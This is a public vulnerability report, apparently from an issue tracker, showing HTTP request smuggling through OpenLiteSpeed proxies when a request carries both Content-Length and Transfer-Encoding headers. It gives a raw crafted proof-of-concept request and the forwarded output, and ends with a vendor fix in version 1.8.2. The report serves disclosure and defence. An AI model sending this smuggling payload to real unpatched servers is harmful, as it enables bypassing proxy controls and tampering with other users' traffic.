LiteSpeed is vulnerable to request smuggling by sending both `Content-Length` and `Transfer-Encoding` (i.e., the oldest trick in the book)

[kenballus]

The following 2 facts allow for request smuggling through LiteSpeed proxies to LiteSpeed[^1], H2O, Libevent, and Mongoose backends.

[^1]: This is cool! Typically, request smuggling vulnerabilities affect heteroegenous setups.

1. When LiteSpeed is acting as a proxy, and receives a request containing both a Content-Length and a Transfer-Encoding: chunked header, and the Content-Length header comes first, it un-chunks the message body without removing the Content-Length header. The forwarded request thus has two Content-Length headers, which may be conflicting.
2. Many origin servers, including LiteSpeed itself, prioritize the first Content-Length header over subsequently received ones when processing incoming requests.

To see this for yourself,

1. Set up OLS as a proxy, pointing at another instance of OLS.
2. Send the proxy the following request:

POST / HTTP/1.1\r\n
Host: a\r\n
Content-Length: 0\r\n
Transfer-Encoding: chunked\r\n
\r\n
20\r\n
GET / HTTP/1.1\r\nHost: gotcha\r\n\r\n\r\n
0\r\n
\r\n

3. You should see the proxy forward the following to the backend:

POST / HTTP/1.1\r\n
Host: a\r\n
Content-Length: 0\r\n
Content-length: 32        \r\n
X-Forwarded-Host: a\r\n
Accept-Encoding: gzip\r\n
X-Forwarded-For: 172.25.0.1\r\n
\r\n
GET / HTTP/1.1\r\n
Host: gotcha\r\n
\r\n

4. Observe that the origin server logs 2 received requests, and the second one was smuggled through the proxy. You can tell this because it doesn't have X-Forwarded-Host, Accept-Encoding, or X-Forwarded-For headers.

[kenballus]

(I am reporting this publicly because my previous two reports to the LiteSpeed contact email have not received responses.)

[litespeedtech]

should be fixed in 1.8.2

[kenballus]

Confirmed fixed in 1.8.2.